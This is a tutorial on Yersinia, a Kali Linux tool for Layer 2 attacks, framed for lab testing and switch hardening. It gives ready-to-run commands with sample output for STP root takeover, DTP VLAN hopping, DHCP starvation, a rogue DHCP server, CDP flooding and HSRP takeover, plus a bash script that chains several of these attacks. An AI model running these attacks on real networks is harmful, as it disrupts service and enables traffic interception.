Offensive Security Researcher & Quantum Cryptography Analyst

Yersinia: Complete Guide to Layer 2 Network Protocol Attacks Using Kali Linux

Abdul Wahab Junaid
Yersinia: Complete Guide to Layer 2 Network Protocol Attacks Using Kali Linux

Yersinia is a Layer 2 (Data Link layer) network protocol attack tool, named after the bacterium Yersinia pestis. Unlike Ettercap/Bettercap/Responder — which operate mostly at Layer 3 (ARP/IP) or above — Yersinia specifically targets the control-plane protocols switches and routers use to build and manage a network topology. It is the standard Kali tool for teaching and testing Layer 2 security weaknesses.

Supported protocols and attacks:

Yersinia can be run in an interactive ncurses mode, a daemon mode with a client interface, or one-shot command-line mode for scripting.

Installation

Preinstalled on Kali. To reinstall:

sudo apt update
sudo apt install yersinia -y

Verify:

yersinia -V

Expected output:

Yersinia 0.7.3

From source:

sudo apt install libnet1-dev libpcap-dev libncurses5-dev libgtk-3-dev \
  bison flex byacc -y
git clone https://github.com/tomac/yersinia.git
cd yersinia
./configure
make
sudo make install

Syntax

yersinia [OPTIONS] <protocol> [-attack | -interactive]

Example:

yersinia stp -attack 0
yersinia -I         # launch full interactive ncurses mode

Command-Line Options Reference

Global options:

OptionDescription
-hShow help
-VShow version
-ILaunch interactive ncurses mode (protocol selection menu inside)
-DRun as a daemon
-d <file>Debug log to file
-c <file>Load alternate config file
-l <file>Log output to file
-MDisable MAC spoofing (use real MAC)
-SEnable stealth mode (no logging/output)
-vVerbose

Protocol selection (used as first positional argument): stp, cdp, dtp, dhcp, hsrp, vtp, 802.1q, 802.1x, isl, mpls

Per-protocol attack flags (-attack <N>) — example for STP:

NSTP Attack
0Sending RAW Configuration BPDU
1Sending RAW TCN BPDU
2Sending Configuration BPDUs flood
3Sending TCN BPDUs flood
4Claiming Root Role
5Claiming Root Role and other Role (MITM)
6Claiming Other Role

Example for DHCP:

NDHCP Attack
0Sending RAW packet
1DHCP starvation attack (exhaust address pool)
2Setting up rogue DHCP server

Example for CDP:

NCDP Attack
0Sending RAW packet
1Flooding CDP table
2Setting up virtual device (fake neighbor)

Example for DTP:

NDTP Attack
0Sending RAW packet
1Enabling trunking (negotiate access port into a trunk)

Full attack-number listings for every protocol are shown via the interactive menu (-I) or yersinia <protocol> -h.

Common per-attack parameters (used with -attack):

FlagDescription
-interface <IF>Interface to send/receive on
-source <MAC>Spoofed source MAC
-destination <MAC>Destination MAC
-persistentKeep sending until manually stopped

Basic Usage

Launch full interactive mode (recommended for beginners):

sudo yersinia -I

Expected initial screen (ncurses):

 Yersinia 0.7.3 - by Slay & tomac
 ----------------------------------------------------------------
  Protocols: [STP] [CDP] [DTP] [DHCP] [HSRP] [VTP] [802.1Q] [802.1X] [ISL] [MPLS]
  Press 'h' for help, 'x' to launch an attack, 'l' to view packet list

One-shot CLI attack (sends a single Configuration BPDU flood on STP):

sudo yersinia stp -attack 2 -interface eth0

Expected output:

Launching STP attack: Sending Configuration BPDUs flood ...
Interface: eth0
Packets sent: 1042 (Ctrl+C to stop)

Practical Examples with Output

Example 1 — STP root bridge takeover (claim root role) on a lab switch

sudo yersinia stp -attack 4 -interface eth0

Output:

Sending Configuration BPDU claiming Root Bridge role...
[*] New Root Bridge Priority: 0, MAC: <attacker_mac>
[*] Switch recalculating spanning tree topology...

Switch-side symptom (example Cisco IOS log on a lab switch you own):

%SPANTREE-2-ROOTCHANGE: Root Changed for vlan 1: New Root Port is Gi0/1. New Root ID is 0/aabb.ccdd.eeff

Example 2 — DTP trunk negotiation (VLAN hopping) from an access port

sudo yersinia dtp -attack 1 -interface eth0

Output:

Sending DTP Desirable frame to negotiate trunk...
[*] Port switched to trunk mode - all VLANs now reachable

Example 3 — DHCP starvation attack (exhaust scope in a lab)

sudo yersinia dhcp -attack 1 -interface eth0

Output:

Sending DHCP DISCOVER floods with randomized MAC addresses...
Leases consumed: 254/254
[*] DHCP pool exhausted - new legitimate clients cannot obtain an address

Example 4 — Rogue DHCP server setup

sudo yersinia dhcp -attack 2 -interface eth0

Output:

Starting rogue DHCP server on eth0...
Offering address range: 192.168.1.200-192.168.1.220
DNS server offered: 192.168.1.15 (attacker)

Example 5 — CDP table flooding

sudo yersinia cdp -attack 1 -interface eth0

Output:

Flooding CDP announcements...
Packets sent: 3200
[*] Switch CDP neighbor table overflow observed

Example 6 — CDP fake neighbor (virtual device) injection

sudo yersinia cdp -attack 2 -interface eth0

Output:

Injecting fake CDP neighbor: "Router-Fake-01"
[*] Fake device now visible in `show cdp neighbors` on adjacent switch

Example 7 — HSRP active router takeover

sudo yersinia hsrp -attack 1 -interface eth0

Output:

Sending HSRP Hello with higher priority (255)...
[*] Attacker now Active router for HSRP group 1

Example 8 — Interactive mode: launching an attack via ncurses menu

Inside sudo yersinia -I:

1. Press F2 to select STP protocol
2. Press 'x' to open attack menu
3. Select "Sending Configuration BPDUs flood"
4. Press Enter to launch, 'q' to stop

Status bar output:

[STP] Attack running: Configuration BPDUs flood | Sent: 512 | Interface: eth0

Example 9 — Logging all activity to file for reporting

sudo yersinia -I -l /tmp/yersinia_session.log

Example 10 — Daemon mode with remote client control

sudo yersinia -D
# In another terminal:
yersinia -I   # connects to the running daemon

Common Use Cases

Automation with Bash

#!/bin/bash
# yersinia_l2_audit.sh - Run a sequence of short Layer 2 attack probes for
# a switch-hardening audit, each capped to a short duration, with logging.
IFACE="eth0"
LOGDIR="/tmp/yersinia_audit_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$LOGDIR"

declare -A TESTS=(
  ["stp_bpdu_flood"]="stp -attack 2"
  ["dtp_trunk_negotiate"]="dtp -attack 1"
  ["cdp_flood"]="cdp -attack 1"
  ["dhcp_starvation"]="dhcp -attack 1"
)

for name in "${!TESTS[@]}"; do
    echo "[*] Running test: $name"
    sudo timeout 15 yersinia ${TESTS[$name]} -interface "$IFACE" \
        > "$LOGDIR/${name}.log" 2>&1
    echo "[*] Completed $name -> $LOGDIR/${name}.log"
    sleep 5   # brief pause between probes to avoid overlapping effects
done

echo "[*] All Layer 2 audit probes complete. Logs in $LOGDIR"

Tips and Best Practices

Troubleshooting

ProblemCause / Fix
Permission denied on startNeeds raw socket access — run with sudo
Attack has no visible effect on switchTarget switch likely has BPDU Guard / Root Guard / DHCP Snooping / port security enabled — that’s the hardening working as intended
ncurses interface renders garbledTerminal too small or incompatible TERM value — resize terminal or set export TERM=xterm
DHCP starvation attack doesn’t exhaust poolSwitch/router has DHCP snooping with rate limiting, or pool is very large — expected in well-configured networks
Daemon mode client can’t connectDaemon (-D) not running, or client launched before daemon initialized

References

Exit mobile version